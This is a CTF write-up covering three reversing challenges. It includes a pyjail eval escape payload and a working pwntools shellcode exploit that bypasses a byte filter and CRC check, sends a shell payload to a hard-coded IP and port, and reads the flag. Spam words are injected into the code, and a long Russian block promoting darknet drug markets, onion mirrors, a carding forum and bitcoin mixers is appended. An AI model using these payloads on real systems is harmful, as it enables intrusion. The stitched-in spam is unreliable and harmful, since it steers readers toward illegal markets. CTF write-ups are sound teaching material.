This is my write-up for recent hack you spb CTF - a CTF for newbies. I guess I'm a bit older here ahaha.Reverse 100:#include <stdio.h>#include <string.h>int main() { char рамп buf[64]; gets(buf); int l = strlen(buf); if (l * l!= 144) return сайта 1; unsigned int a = buf[0] | (buf[4] << 8) | (buf[8] << 16); unsigned int b = buf[1] | (buf[5] << 8) | (buf[9] << 16); unsigned int c = buf[2] | (buf[6] << 8) | (buf[10] << 16); unsigned int d = buf[3] | (buf[7] << 8) | (buf[11] << 16); if (!(((a % 3571) == 2963) && (((a % 2843) == 215)) && (((a % 30243) == 13059)))) return 2; if (!(((b % 80735) == 51964) && (((b % 8681) == 2552)) && (((b % 40624) == 30931)))) return 3; if (!(((c % 99892) == 92228) && (((c % 45629) == 1080)) && (((c % 24497) == 12651)))) return 4; if (!(((d % 54750) == 26981) && (((d % 99627) == 79040)) && (((d % 84339) == 77510)))) return 5; printf("Congratulations %s is flag\n",buf); return 0;}First of all, I think about use something like z3, or any SAT that could give me the valid number. But z3 took a lot of time, so I decided to look deeper... Yes, you could finger out there is a pattern (x % number1 == number2), so you could apply Chinese remainder theorem to get a, b, c.Reverse 200: This is a.pyc file, which is a file contain python byte-code. As usual, for byte-code relative problems, I search for some python byte-code decompiler and found pycdc. After decompil, you should get something like this# Source Generated with Decompyle++# File: rev200_bot_7b541a1.pyc (Python 2.7)import configimport tracebackimport refrom base64 import *from twx.botapi import TelegramBot, ReplyKeyboardMarkup, ReplyKeyboardHidesec_state = { }def process_message(bot, u):Warning: Stack history is not empty! if u.message.sender and u.message.text and u.message.chat: chat_id = u.message.chat.id user = u.message.sender.username рамп reply_hide = ReplyKeyboardHide.create() print 'user:%s mes:%s' % (user, u.message.text) if user not in sec_state: sec_state[user] = { 'mode': 15, 'stage': 7 } cmd1 = u.message.text.encode('utf-8') a = re.findall('(\\/\\w+)\\s*(.*)', cmd1) if a: cmd = a[0][0] data = a[0][1] if cmd == '/help': bot.send_message(chat_id, 'Usage: \n\n/help - show this help\n/enter - enter secret mode\n', reply_markup = reply_hide) if cmd == '/enter': keyboard = [ [ '-7-', '-8-', '-9-'], [ '-4-', '-5-', '-6-'], [ '-1-', '-2-', '-3-'], [ '-0-']] reply_markup = ReplyKeyboardMarkup.create(keyboard) bot.send_message(chat_id, 'please enter access code', reply_markup = reply_markup).wait() if sec_state[user]['mode'] == 0 and cmd == '/7779317': ddd = b64decode(data) bot.send_message(chat_id, eval(ddd)) a = re.findall('-(\\d+)-', cmd1) if a: num = a[0] if int(num) == sec_state[user]['stage']: sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: bot.send_message(chat_id, 'Secret mode enabled!', reply_markup = reply_hide).wait() else: print 'NO', num, sec_state[user]['stage'] bot.send_message(chat_id, 'Invalid password!', reply_markup = reply_hide).wait() sec_state[user]['mode'] = 15 bot = TelegramBot(config.token)bot.update_bot_info().wait()print bot.usernamelast_update_id = 0while True: updates = bot.get_updates(offset = last_update_id).wait() try: for update in updates: if int(update.update_id) > int(last_update_id): last_update_id = update.update_id process_message(bot, update) continue continue except Exception: ex = None print traceback.format_exc() continue So this is a kind of chat-bot server based on Telegram. There is eval function inside, bot.send_message(chat_id, eval(ddd)), so I need to control ddd which is a base64 decoded string from data we sent. Before that, I need to enter Secret mode by enter correct access code (0-9). First, set sec_state[user]['mode'] = 0; First time, stage init to 7, that changed everytime you press the correct key; But if I dont remember the stage, I still could find out by bruteforce from 0 to 9, if I didn't recv incorrect message that's mean I pressed the correct one; then by use the following script, I'm able to access secret area;#coding: utf-8sec_state = { }user = "A"sec_state[user] = {'mode': 15,'stage': 7 } # bruteforce numbersec_state[user]['mode'] = 15r = []while 1: num = sec_state[user]['stage'] r.append(num) print "-%d-" % num sec_state[user]['stage'] = (sec_state[user]['stage'] * sec_state[user]['stage'] ^ 1337) % 10 sec_state[user]['mode'] = sec_state[user]['mode'] - 1 if sec_state[user]['mode'] < 0: sec_state[user]['mode'] = 0 if sec_state[user]['mode'] == 0: breakprint sec_state[user]['mode']Next, this is a pyjail, so I can't execute normal python command... So, final payload is `str(().__class__.__base__.__subclasses__()[40]("flag","r").read())`or `/7779317 c3RyKCgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzQwXSgiZmxhZyIsInIiKS5yZWFkKCkp`Reverse 300: Let's get some fun.let reverse this (or not?), look at handler (the main function)ssize_t __cdecl handler(int fd){ ssize_t result; // [email protected] unsigned int buf; // [sp+20h] [bp-18h]@1 int v3; // [sp+24h] [bp-14h]@1 char *v4; // [sp+28h] [bp-10h]@4 int v5; // [sp+2Ch] [bp-Ch]@4 buf = 0; setuid(0x3E8u); seteuid(0x3E8u); setgid(0x3E8u); setegid(0x3E8u); result = recv(fd, &buf, 4u, 0); v3 = result; if ( result == 4 ) { result = buf; if ( buf <= 0xC8 ) { v4 = (char *)mmap(0, buf, 7, 33, -1, 0); v3 = recv(fd, v4, buf, 0); result = crc32(0, v4, buf); v5 = result; if ( result == 0xCAFEBABE ) { result = filter(v4, buf) ^ 1; if (!(_BYTE)result ) result = ((int (*)(void))v4)(); } } } return result;}So the basic idea is make result == 0xCAFEBABE, so the program will execute v4 as shellcode (function pointer), but you also need to bypass the filter function - check if contain any of 0x0, 0x1, 0x2f, 0x68, 0x73 ( so I can't use sh in plaintext)then exit; So, I did the following step:1. Find a program that can make crc32 of my shellcode equal 0xCAFEBABE 2. Make a great shellcode and Bypass filter. By search google for everything, the answer for problem 1 is force-crc32. Currently I'm also trying to learn some binary exploit method, write a shellcode isn't hard (hint xor), but if there is any framework that's good enough as pwntools , you shoud try at least once. Basicaly, I import pwns and let pwntools do the rest;from pwn import *import socket, struct, telnetlibdef getCRC(data): import subprocess with open('/tmp/12', 'wb') as f: f.write(data + "123456") subprocess.check_output(['python', 'forcecrc32.py', '/tmp/12', str(len(data)+1), 'CAFEBABE']) with open('/tmp/12', 'rb') as f: data = f.read() return datadef crc32(data):# recheck import zlib return (zlib.crc32(data)) & 0xffffffffd = ""d += asm(pwnlib.shellcraft.i386.linux.dup2(4,0))d += asm(pwnlib.shellcraft.i386.linux.dup2(4,1))# i need dup2 because the program use itself as serverd += asm(pwnlib.shellcraft.i386.linux.sh())fsc = pwnlib.encoders.encoder.encode(d, '\n\x01\0\x2f\x73\x68')print len(fsc)fsc = getCRC(fsc) # it didn't contain any blocked char, so i dont need to re-generate again.print hex(crc32(fsc))#yes, i love my custom socket lib 🙁s = socket.create_connection(("78.46.101.237", 3177))s.send(p32(len(fsc)))s.send(fsc)s.send("\n")s.send("cat flag*\n") print s.recv(1024)To be continued....Related
Подборка Marketplace-площадок by LegalRC Площадки постоянно атакуют друг друга, возможны долгие подключения и лаги. Выбирайте любой понравившийся вам сайт, не останавливайтесь только на одном. Подборка Обменников BetaChange (Telegram) Перейти. На данный момент обе площадки примерно одинаково популярны и ничем не уступают друг другу по функционалу и своим возможностям. Часто сайт маркетплейса заблокирован в РФ или даже в СНГ, поэтому используют обходные зеркала для входа, которые есть на нашем сайте. Crdclub4wraumez4.onion - Club2crd старый кардерский форум, известный ранее как Crdclub. Onion mega Market ссылка Какие новые веяния по оплате есть на Мега: Разработчики Белгорода выпустили свой кошелек безопасности на каждую транзакцию биткоина. Основной домен блокируется запрещающими органами, также периодически возникают дудос-атаки. Onion - SleepWalker, автоматическая продажа различных виртуальных товаров, обменник (сомнительный ресурс, хотя кто знает). Способ актуален для всех популярных браузеров на основе Chromium (Google, Yandex.д. Изредка по отношению к некоторым вещам это желание вполне оправдано и справедливо, однако чаще всего - нет. Анонимность Изначально закрытый код сайта, оплата в BTC и поддержка Tor-соединения - все это делает вас абсолютно невидимым. Onion/ - 1-я Международнуя Биржа Информации Покупка и продажа различной информации за биткоины. Наконец-то нашёл официальную страничку Mega. Onion - Burger рекомендуемый bitcoin-миксер со вкусом луковых колец. Ротации на рынке наркоторговли в даркнете, начавшиеся после закрытия в апреле крупнейшего маркетплейса, спровоцировали число мошенничеств на форумах, а также. Скорость загрузки страниц. Наша задача вас предупредить, а вы уже всегда думайте своей головой, а Мега будет думать тремя! Onion - Lelantos секурный и платный email сервис с поддержкой SMTorP tt3j2x4k5ycaa5zt. Html верстка и анализ содержания сайта. Имеет оценку репутации из 100. В октябре 2021. В этом видео мы рассмотрим основной на сегодняшний день маркетплейс- Darknet. Onion - SwimPool форум и торговая площадка, активное общение, обсуждение как, бизнеса, так и других андеграундных тем. Onion - Harry71, робот-проверяльщик доступности.onion-сайтов. Onion - Onion Недорогой и секурный луковый хостинг, можно сразу купить onion домен. Подробнее можно прочитать на самом сайте. Теперь покупка товара возможна за рубли. В связи с проблемами на Гидре Вот вам ВСЕ актуальные ссылки НА сайторумы: Way Way. Описание: Создание и продвижение сайтов в интернете. На момент публикации все ссылки работали(171 рабочая ссылка). На главной странице будут самые популярные магазины Маркетплейса Мега. Друзья, хотим представить вам новую перспективную площадку с современным интуитивным интерфейсом и классным дизайном. Вход Для входа на Мега нужно правильно ввести пару логин-пароль, а затем разгадать капчу. Комиссия от 1. Скачать можно по ссылке /downloads/Sitetor. У них нет реального доменного имени или IP адреса. Робот? Три месяца назад основные магазины с биржи начали выкладывать информацию, что их жабберы угоняют, но самом деле это полный бред. По количеству зеркал Матанга может легко оставить кого угодно позади, в онионе площадка подтверждает 6 своих зеркал, не один, не два, а целых шесть, так что эти ребята достойны нашего внимания. А ещё его можно купить за биткоины. Vtg3zdwwe4klpx4t.onion - Секретна скринька хунти некие сливы мейлов анти-украинских деятелей и их помощников, что-то про военные отношения между Украиной и Россией, насколько я понял. Rinat777 Вчера Сейчас попробуем взять что нибудь MagaDaga Вчера А еще есть другие какие нибудь аналоги этих магазинов? Система рейтингов покупателей и продавцов (все рейтинги открыты для пользователей). Данный сервер управляется панелью управления BrainyCP. Заполните соответствующую форму и разгадайте хитрую капчу для входа в личный аккаунт: Чтобы проверочный код входа приобрёл более человеческий вид, потяните за голубой ползунок до тех пор пока не увидите знакомые символы. Onion - PIC2TOR, хостинг картинок.
Через iOS. Фейк домены форума гидра: Вам необходимо зарегистрироваться для просмотра ссылок. Даже если гидра онион упала по одному адресу, что связано с блокировками контролирующими органами стран, одновременно работают сотни зеркал! Логин не показывается в аккаунте, что исключает вероятность брутфорса учетной записи. Сергей Пользователь В последнее время поисковые системы заполнены взломанными сайтами со ссылками на мошеннические копии сайта Омг. Видно число проведенных сделок в профиле. Как молодежь в Казахстане увлекается «синтетикой за какой объем вещества могут дать срок. Студент Вестминстерского университета в Ташкенте Камронбек Осимжонов рассказал Spot о том, как разработал - с функцией удаления водяных знаков с TikTok-видео. Текст куда-то делся. Ссылка на создание тикета: /ticket Забанили на, как восстановить Как разблокировать onion. Правильное зеркало Omgomg для того, чтобы попасть в маркет и купить. Самый большой и интересный каталог комиксов и товаров в стиле любимых супергероев и персонажей из киновселенной! Богатый функционал Самописный движок сайта (нет уязвимостей) Система автогаранта Обработка заказа за секунды Безлимитный объем заказа в режиме предзаказа. Здравствуйте дорогие читатели и владельцы кошек! Покупатели защищены авто-гарантом. Сегодня был кинут на форуме или это уже непонятный магазин Hydra Хотел купить фальшивые деньги там, нашел продавца под ником Elit001 сделал заказ. Как, какие настройки сделать, как заливать файлы в хранилище. Создание и продвижение сайтов в интернете. 04 сентября 2022 Eanamul Haque ответил: It is worth clarifying what specific you are asking about, but judging by the fact that you need it for the weekend, I think I understand) I use this. Это всё те же трепетные встречи и радость от шопинга, новые знания и развлечения, обмен новостями. Автоматическая покупка биткоин за qiwi. Фурнитура для украшений в ассортименте и хорошем качестве в магазине MegaBeads. ( зеркала и аналоги The Hidden Wiki) Сайты со списками ссылок Tor ( зеркала и аналоги The Hidden Wiki) torlinkbgs6aabns. «Мелатонин» это препарат, который поможет быстрее заснуть, выровнять циркадные ритмы. Ассортимент товаров Платформа дорожит своей репутацией, поэтому на страницах сайта представлены только качественные товары. Ссылка на создание тикета: /ticket Забанили на, как восстановить Как разблокировать hydra onion. Книжная лавка, район Советский, улица Калинина: фотографии, адрес. Onion - Архив Хидденчана архив сайта hiddenchan. Но чтоб не наткнуться на такие сайты сохраните активную ссылку на зеркало Гидры и обновляйте ее с периодичностью. Hydra русскоязычная торговая площадка в сети, признанная крупнейшим маркетплейсом даркнета. Сайт p не работает сегодня ноябрь 2022? Играть в покер. Добро пожаловать! Начали конкурентную борьбу между собой за право быть первым в даркнете. Импортеры комплектующих для ноутбуков (матрицы, батареи, клавиатуры, HDD). Торговая теневая площадка гидра онион Анонимный криптомаркет нового поколения hydra union, действующий ежедневно и круглосуточно, с онлайн-поддержкой 24/7, авто-гарантом и автоматизированной продажей за рубли и биткоины. Крымская) ЖК «Золотые. Onion - The Pirate Bay - торрент-трекер Зеркало известного торрент-трекера, не требует регистрации yuxv6qujajqvmypv. Как правильно загрузить фото в?Подробнее. Вся ответственность за сохранность ваших денег лежит только на вас. Что особо приятно, так это различные интересные функции сайта, например можно обратиться в службу проверки качества продаваемого товара, которая, как утверждает администрация периодически, тайно от всех делает контрольные закупки с целью проверки качества, а так же для проведения химического анализа. Так же официальная ОМГ это очень удобно, потому что вам не нужно выходить из дома. Array Array У нас низкая цена на в Москве. Rinat777 Вчера Сейчас попробуем взять что нибудь MagaDaga Вчера А еще есть другие какие нибудь аналоги этих магазинов? Старые на рамп onion, рамп онион сайт оригинал ramp9webe, почему не заходит на сайт ramp, не грузит сайт рамп, ramp не работает сейчас, правильная рамп. В итоге купил что хотел, я доволен. Как зайти на онион 2021. Заказать, эстакаду с доставкой от производителя апшерон, в наличии. Инструкция по применению, отзывы покупателей, дешевые.
Если вы заметили, что с Мега даркнет не приходят деньги, необходимо связаться с представителями службы поддержки, воспользовавшись зашифрованным каналом связи. На данный момент после освобождения рынка от крупного игрока, сайт Омг начал набирать популярность и стремительно развиваться. На нашем представлена различная информация о, собранная из открытых источников, которая может быть полезна при анализе и исследовании. FK-: скейт парки и площадки для катания на роликах, самокатах, BMX от производителя. Скейт-парки: адреса на карте, телефоны, часы работы, отзывы, фото, поиск. В интернет-аптеке со склада в Москве от 1-го дня Отпускается по в торговом зале аптеки. 2006 открытие торговых центров мега в Екатеринбурге 6, Кстовском районе Нижегородской области мега Нижний Новгород 7 и Всеволожском районе Ленинградской области мега Дыбенко» и «мега Парнас. Отрицательные и положительные стороны. Главное зеркало сайта. Рассказываю и показываю действие крема Payot на жирной коже. Первое из них это то, что официальный сайт абсолютно безопасный. Английский рожок Владимир Зисман. В. Сейчас хотелось бы рассказать, как совершить покупку на сайте, ведь товаров там огромное количество и для того, чтобы найти нужную позицию, требуется знать некоторые. Полезная статья с фотографиями от интернет-магазина комплектующих и запчастей для. Всем мир! И этот список можно еще долго продолжать. Всё что вы делаете в тёмном интернете, а конкретно на сайте ОМГ ОМГ остаётся полностью анонимным и недоступным ни для кого, кроме вас. Hydra русскоязычная торговая площадка в сети, признанная крупнейшим маркетплейсом даркнета. Перейти к навигации Перейти к поиску Данные в этой статье приведены по состоянию на годы.
69 сделок576 лайков
25 сделок88 лайк